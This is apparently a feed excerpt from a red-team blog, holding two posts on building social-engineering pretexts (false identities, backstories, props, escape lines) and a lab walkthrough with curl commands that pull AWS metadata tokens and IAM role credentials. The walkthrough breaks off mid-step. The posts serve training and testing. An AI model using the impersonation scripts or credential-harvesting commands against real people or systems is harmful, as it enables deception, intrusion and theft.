Intune device compliance check &#8212; should only take five minutes&#8221;), or mentioning a department or manager&#8217;s name, can smooth your way past doubt. These small signals tell people, subconsciously, that you&#8217;re part of the in-group.</p><p>Your appearance and mannerisms should also match the role. A maintenance worker might move with purpose, carrying tools and looking slightly rushed. A junior employee might appear deferential, soft-spoken. Even tone of voice matters &#8212; adopting a casual but professional tone can help disarm suspicion, while being overly formal or robotic can make you seem out of place.</p><h4><strong>OPSEC and ethical considerations</strong></h4><p>With great pretexting comes great responsibility. Even in simulated operations, ethics and operational security must guide your choices. Avoid impersonating real employees or government agencies &#8212; this can create legal complications or erode trust unnecessarily. Similarly, stay away from pretexts that involve emotional manipulation beyond acceptable boundaries, like faking a medical emergency or using scenarios that could cause real distress.</p><p>A good pretext strikes the right balance between realism and safety. Your job is to test the security controls, not to exploit human decency in ways that cause lasting harm. Always work within the agreed-upon rules of engagement, and when in doubt, err on the side of caution. The best social engineering ops are those that reveal weaknesses without crossing ethical lines.</p><p>Crafting, supporting, and executing a pretext is an art that blends research, psychology, and improvisation. Done right, it can be one of the most powerful tools in a red teamer&#8217;s kit &#8212; and one that leaves a lasting lesson for the client.</p><pre><code><strong>TL;DR
- </strong>Strong pretexts start with thorough research using OSINT to align with the target&#8217;s reality.
- Red team success stories often rely on attention to detail, while failures stem from poor prep and weak cover.
- Psychological tactics like confidence, urgency, and familiarity help reinforce believability.
- Ethical considerations should guide pretext choices, avoiding harm and staying within rules of engagement.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[The Art of Pretext: Building better backstories for social engineering - Part 2]]></title><description><![CDATA[Explore the key elements of a strong pretext that help red teams create convincing and resilient personas.]]></description><link>https://www.100daysofredteam.com/p/the-art-of-pretext-building-better-backstories-for-social-engineering-part-2</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/the-art-of-pretext-building-better-backstories-for-social-engineering-part-2</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Sat, 14 Jun 2025 14:30:43 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/faeffec1-4561-4524-a278-1166ae0b452d_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A strong pretext isn&#8217;t just a clever idea &#8212; it&#8217;s a constructed identity that can hold up under scrutiny, adapt in real time, and align with the expectations of your target environment. Like a character in a play, your pretext needs depth, purpose, and believability. It's not just about who you're pretending to be, but about how well you understand the world that person belongs to. Below are the critical building blocks that make up the anatomy of a strong pretext.</p><h4><strong>Identity: Who are you?</strong></h4><p>Your identity is the foundation of your pretext &#8212; the role you&#8217;re assuming and the persona you inhabit. It should be simple enough to remember under pressure, yet specific enough to be believable. This includes your name, job title, department, and &#8212; critically &#8212; the kind of work someone in your role actually does on a daily basis.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>For example, posing as &#8220;Raj from Facilities&#8221; is weak on its own. But saying you're "Raj Mehra, part of the third-party HVAC team contracted through MetroTech Services, here to perform quarterly air quality tests on floor 3 and 5&#8221; adds layers that help sell the role. You don&#8217;t need to memorize an entire resume, but you should be able to explain your job in one or two convincing sentences. Understand what tools you would carry, what jargon you&#8217;d use, and what problems you might be called in to fix. If someone asks, "Oh, did you fix that duct yet?" you should be able to say, "Not yet &#8212; they asked us to prioritize server rooms first because of a temp alert yesterday."</p><p>The best pretexts often mirror real roles that exist in the organization or industry, allowing you to blend into expected workflows instead of creating new ones. You want to be someone that others are used to seeing &#8212; or at least someone they expect to see eventually.</p><h4><strong>Mission: Why are you here?</strong></h4><p>Once you know who you are, the next piece of the puzzle is explaining why you're here <em>right now</em>. The mission should provide a logical and timely reason for your presence or interaction. It should make sense to the person you&#8217;re targeting without requiring them to do any mental gymnastics.</p><p>Saying &#8220;I&#8217;m here to check the wiring&#8221; is vague. Saying &#8220;I&#8217;ve been scheduled to inspect the switch panels in the 2nd floor IDF closet &#8212; there was a failed breaker alert last night&#8221; offers clarity and purpose. It also builds on existing systems they may recognize, like automated alerts or maintenance schedules. Your mission gives your pretext <em>urgency</em> or <em>relevance</em>, which helps bypass deeper scrutiny. Most people are far less likely to challenge someone who appears to be doing an important or time-sensitive task.</p><p>A good mission is also flexible. If you're stopped before reaching your target, it should be plausible that your task would require you to be where you are &#8212; and that being stopped would delay or inconvenience someone else in the chain.</p><h4><strong>Backstory: What brought you here?</strong></h4><p>The backstory supports the identity and mission by filling in how you came to be involved in this situation. It's the narrative bridge between the role and the action. The stronger the backstory, the less suspicious your presence feels. A good backstory includes how you were assigned the task, how you got access (or are trying to get access), and who you&#8217;re reporting to.</p><p>For example, if you&#8217;re pretending to be a printer technician, your backstory could be: &#8220;We got a ticket through ServiceLink yesterday about the 4th floor HP LaserJet jamming again. The regular guy's out sick, so I was sent in his place. I&#8217;m just trying to knock this one out before 11, I&#8217;ve got another call across town.&#8221;</p><p>That story answers several questions before they&#8217;re even asked:</p><ul><li><p>Why are you here? (Because of a service ticket.)</p></li><li><p>Why haven&#8217;t we seen you before? (You&#8217;re covering for someone else.)</p></li><li><p>Are you in a rush? (Yes &#8212; implying pressure and urgency.)</p></li></ul><p>A good backstory can also anchor your behavior. If you're slightly rushed or annoyed, it aligns with your story about being overbooked. If you're carrying tools or looking slightly disheveled, it supports your story of running from job to job.</p><h4><strong>Cover Story Support: What props, documents, or details support your identity?</strong></h4><p>Even the best story can fall flat if it's not supported by visual or physical elements. That&#8217;s where cover story support comes in. This includes props, documentation, attire, and even language or terminology that reinforces your role.</p><p>Think of this as the &#8220;set dressing&#8221; of your performance. A clipboard with mock work orders, a badge with the logo of a common vendor, or a rolling toolbox can all help sell your pretext. In some cases, an outdated printout or laminated ID badge with a barcode and a convincing company name is enough to disarm suspicion. Props don&#8217;t need to be flashy &#8212; in fact, subtle and slightly boring is better. You want to look forgettable, not memorable.</p><p>Details also count. Mentioning a known vendor used by the company, or referencing the name of a building or room that exists on-site (learned via OSINT or physical recon) can instantly legitimize your presence. If someone asks where you parked, and you say &#8220;Loading dock B &#8212; same spot as last time,&#8221; you&#8217;ve subtly reinforced that this isn&#8217;t your first visit.</p><h4><strong>Contingency Plan: What if you&#8217;re questioned or challenged?</strong></h4><p>No pretext is bulletproof. That&#8217;s why every good red teamer builds a contingency plan &#8212; an escape route or alternate explanation in case the story begins to fall apart. This might mean having a name ready to drop ("You can check with Marissa from Facilities &#8212; she was supposed to let Security know") or a reason to step away and regroup ("I think I left my phone in the van &#8212; mind if I grab it real quick?").</p><p>Contingency plans help you maintain control when the narrative shifts. They also allow you to exit gracefully, preserving the illusion of legitimacy. For example, if you're being pressed too hard on your role and can't keep up, say, &#8220;Ah &#8212; I think there&#8217;s been a mix-up. I might&#8217;ve been sent to the wrong site. I&#8217;ll call dispatch to confirm.&#8221; Then leave, regroup, and decide whether to re-approach later under a different guise.</p><p>Sometimes the fallback plan is as simple as pivoting to another task. If your primary objective (e.g., accessing a server room) becomes too risky, a good pretext lets you shift gears &#8212; perhaps you start doing &#8220;routine checks&#8221; elsewhere in the building to maintain your cover and gather information for a second attempt.</p><p>Each of these elements &#8212; identity, mission, backstory, support, and contingency &#8212; work together to create a living, breathing character that fits naturally into your target&#8217;s environment. When done well, a strong pretext doesn&#8217;t just pass inspection &#8212; it invites cooperation.</p><pre><code><strong>TL;DR
- </strong>A strong pretext starts with a clear, believable identity &#8212; who you are and what your role involves.
- The mission defines why you&#8217;re there at that moment and gives your presence purpose.
- The backstory connects your identity and mission, explaining how and why you got involved.
- Cover story support includes props, attire, documents, and small details that reinforce your role.
- A good pretext includes a contingency plan &#8212; an exit or fallback strategy if you&#8217;re challenged.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[The Art of Pretext: Building better backstories for social engineering - Part 1]]></title><description><![CDATA[Learn why strong pretexts are vital for social engineering success and discover reasons why certain pretexts fail.]]></description><link>https://www.100daysofredteam.com/p/the-art-of-pretext-building-better-backstories-for-social-engineering-part-1</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/the-art-of-pretext-building-better-backstories-for-social-engineering-part-1</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Mon, 02 Jun 2025 14:30:33 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19163ba8-5f2e-4d5f-9801-56cae2aea701_837x837.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In red teaming, the payload is often seen as the star of the show &#8212; the tool that does the damage, pops the box, or triggers the beacon. But in social engineering operations, it's not the payload that opens doors &#8212; it's the story. Whether you&#8217;re walking into a building, placing a call, or sending a phishing email, the pretext you build is what gets you in. It's your disguise, your narrative, and your psychological armor all rolled into one.</p><p>Pretexting, at its core, is the practice of crafting and assuming a false identity or backstory to influence a target. It's what makes someone believe that you're from IT and need access to their machine, or that you're a delivery person with a package for the marketing team. Good pretexts don&#8217;t just trick people &#8212; they make your presence feel natural. They create enough plausible context that no one stops to question it, because it fits within the framework of what people expect to see or hear.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>Building a believable pretext is much harder than it seems. It&#8217;s not just about choosing a fake job title or throwing on a high-visibility vest. Too often, red teamers fall into the trap of relying on shallow, generic, or inconsistent stories. One of the most common mistakes is using the classic &#8220;I&#8217;m from IT&#8221; approach without any thought behind it. Who exactly are you from IT? What department? Which ticketing system do you use? If challenged, can you explain what kind of laptop encryption the company uses or why a system update wasn&#8217;t announced via the usual channel?</p><p>Pretexts fail when they are either too vague or too detailed in the wrong ways. A red teamer might say they&#8217;re a contractor working on a wireless audit, but if they can&#8217;t name who hired them, who they're reporting to, or what floor the server room is on, that raises suspicion. On the other hand, an overly detailed backstory that doesn&#8217;t match the environment &#8212; like referencing a vendor or process the target company never uses &#8212; can be just as damning. The best pretexts are specific enough to be believable, but broad enough to allow improvisation.</p><p>Consistency is another hallmark of a strong pretext. It's easy to invent a role, but far harder to stick to it when pressure is applied. Suppose you&#8217;re impersonating a facilities technician performing air quality checks. You walk into the building with a clipboard and a small sensor &#8212; both props to support your cover. Everything&#8217;s going well until a receptionist casually asks, &#8220;Oh, do you usually come in on Tuesdays? I thought they did the checks on Fridays.&#8221; At that moment, if your story wavers &#8212; if your tone changes, or you stumble on your answer &#8212; the illusion cracks. Good pretexts are resilient. They hold up under scrutiny because they&#8217;ve been rehearsed and built with believable constraints and flexibility.</p><p>Understanding why pretexts fail is the first step toward crafting ones that succeed. In the next part, we&#8217;ll break down the anatomy of a strong pretext&#8212;what makes it believable, resilient, and convincing enough to open doors and lower defenses. Stay tuned.</p><pre><code><strong>TL;DR
- </strong>Pretexts are backstories that explain who you are and why you&#8217;re there.
- A strong pretext feels natural and fits seamlessly into the target&#8217;s environment.
- Many pretexts fail because they are vague, inconsistent, or overly detailed without alignment to reality.
- Consistency and specific context are crucial to avoid raising suspicion during interactions.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Abusing the AWS metadata API for privilege escalation]]></title><description><![CDATA[Learn how to leverage the AWS Metadata API to extract IAM role credentials and escalate privileges after compromising an EC2 instance.]]></description><link>https://www.100daysofredteam.com/p/abusing-the-aws-metadata-api-for-privilege-escalation</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/abusing-the-aws-metadata-api-for-privilege-escalation</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Sun, 01 Jun 2025 16:16:09 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/cf754660-86e5-42fb-86bf-e5642108ad76_614x614.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Amazon EC2 instances are commonly used to host applications, services, and workloads in the cloud. These virtual machines come with a unique feature known as the <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html">Instance Metadata Service (IMDS)</a>, accessible from within the instance at a special IP address: http://169.254.169.254. The <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html">Metadata API</a> is a part of IMDS and provides a wealth of information about the running instance. This includes instance-specific data such as the hostname, instance ID, AMI ID, and network configuration. More importantly, it can expose temporary security credentials if the instance is assigned an IAM role.</p><p>These temporary credentials are critical for automation. They allow applications to access AWS services (like S3, DynamoDB, or SQS) securely without hardcoding credentials or manually managing keys. However, access to the metadata endpoint is local &#8212; meaning any process or user on the machine can access it unless extra protections are in place.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>The metadata endpoint requires no special system privileges to query. If an EC2 instance has an IAM role attached, then accessing the security credentials is as simple as making an HTTP GET request to a known path. Once obtained, these credentials can be used just like any AWS access key pair &#8212; within the permissions granted by the role.</p><h3>Scenario: Escalating privileges after gaining a foothold in an EC2 instance </h3><p>Imagine a red team operator has compromised a vulnerable web application running on an EC2 instance. The initial access could have come from an RCE vulnerability, stolen credentials, or misconfigured exposure. Once inside, the operator begins basic enumeration.</p><p>They discover that the application is running under a standard Linux user with limited privileges. However, further inspection of the cloud environment reveals that the instance has an IAM role attached, granting permissions to interact with an S3 bucket. This bucket is used internally by the application &#8212; for example, to store PDF documents generated from user submissions or to archive access logs. The bucket is not publicly accessible from outside the EC2 instance, nor is it open to arbitrary IAM users &#8212; only the EC2 instance&#8217;s role has access.</p><p>The red team operator now considers leveraging the EC2 Metadata API to abuse this attached role and escalate privileges in the AWS environment. By retrieving temporary credentials from the Metadata API and using them directly with AWS CLI or SDKs, they aim to interact with the S3 bucket (or other services) in ways that may not be permitted to the local user or application logic.</p><h3>Levaraging Metadata API for privilege escalation</h3><p>This technique hinges on the simple fact that the Metadata API is exposed to all processes on the machine, and the temporary credentials it provides carry all the permissions assigned to the instance&#8217;s IAM role. If the role has overly permissive or misconfigured policies, the attacker can leverage it to access sensitive resources or pivot deeper into the AWS account.</p><p>Here&#8217;s how this works in practice:</p><ol><li><p>The attacker queries the Metadata API at <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. This returns the name of the role attached to the instance.</p></li><li><p>They then query <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;role-name&gt;</code> to retrieve the <strong>temporary credentials</strong> &#8212; <code>AccessKeyId</code>, <code>SecretAccessKey</code>, and <code>Token</code>.</p></li><li><p>These credentials are exported as environment variables or used directly with the AWS CLI or SDK.</p></li><li><p>The attacker uses the credentials to interact with AWS services like S3, sometimes discovering they can read, write, or delete data, even though these actions weren&#8217;t possible via the local application interface.</p></li><li><p>If the attached IAM role has broader permissions &#8212; such as access to IAM, Lambda, Secrets Manager, or EC2 &#8212; the attacker can perform actions that go well beyond accessing the S3 bucket, potentially leading to privilege escalation, persistence, or data exfiltration.</p></li></ol><p>This method does not require root privileges or AWS credentials to begin with. It only requires code execution on the EC2 instance and access to the internal metadata IP address.</p><h3>Step-by-step guide - Practicing the technique in a lab </h3><p>You can follow this guide to try this technique in a controlled environment. A fully deployable Terraform lab is available in the <a href="https://github.com/100daysofredteam/Terraform/tree/main/Labs/AWS%20Metadata%20API%20Abuse">100 Days of Red Team Terraform GitHub repository</a>, designed to simulate this exact scenario.</p><blockquote><p>You can use <a href="https://github.com/100daysofredteam/Terraform/blob/main/TerraformEC2Access-AWS-IAM-Policy.json">this AWS IAM policy</a> to successfully deploy this project. It contains all necessary permissions.</p></blockquote><p><strong>Assumptions:</strong></p><ul><li><p>You have shell access to an EC2 instance.</p></li><li><p>The instance has an IAM role attached with some level of AWS permissions.</p></li><li><p>You have <code>curl</code> or a similar tool installed.</p></li></ul><h4>Step 0: Understand IMDSv2</h4><p>Since mid-2020, <strong>IMDSv2 is the default metadata access method</strong> for EC2 instances. It requires a <strong>session token</strong> obtained via a PUT request to the metadata endpoint. Any subsequent GET requests must include that token in an HTTP header.</p><p>This is a defense mechanism to protect against SSRF and metadata scraping via non-interactive processes. However, if you have shell access to the instance, you can still fetch the token manually.</p><h4>Step 1: Check If an IAM Role is Attached to the Instance</h4><pre><code>TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")</code></pre><p>Then:</p><pre><code>curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/info</code></pre><p>What&#8217;s Happening:</p><ul><li><p>This request checks whether an IAM role is attached to the instance.</p></li><li><p>If a role is present, the response will include metadata such as the role name and instance profile ARN.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QY1W!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QY1W!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png 424w, https://substackcdn.com/image/fetch/$s_!QY1W!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png 848w, https://substackcdn.com/image/fetch/$s_!QY1W!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png 1272w, https://substackcdn.com/image/fetch/$s_!QY1W!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QY1W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png" width="932" height="242" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:242,&quot;width&quot;:932,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:38772,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164939495?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QY1W!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png 424w, https://substackcdn.com/image/fetch/$s_!QY1W!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png 848w, https://substackcdn.com/image/fetch/$s_!QY1W!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png 1272w, https://substackcdn.com/image/fetch/$s_!QY1W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8292fbf6-a9d4-40a1-b9e9-bdb559191aef_932x242.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Checking if an IAM role is attached to the EC2 instance</figcaption></figure></div><p>This confirms that the instance is using an instance profile (IAM role) and gives us the name needed for credential enumeration.</p><h4>Step 2: Confirming the IAM Role Name by Further Enumeration</h4><pre><code>curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/</code></pre><p>This endpoint returns only the role name (e.g., <code>AppS3ReadOnlyRole</code>). It&#8217;s simpler than the full <code>iam/info</code> output but complements it.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KqC6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KqC6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png 424w, https://substackcdn.com/image/fetch/$s_!KqC6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png 848w, https://substackcdn.com/image/fetch/$s_!KqC6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png 1272w, https://substackcdn.com/image/fetch/$s_!KqC6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KqC6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png" width="677" height="61" 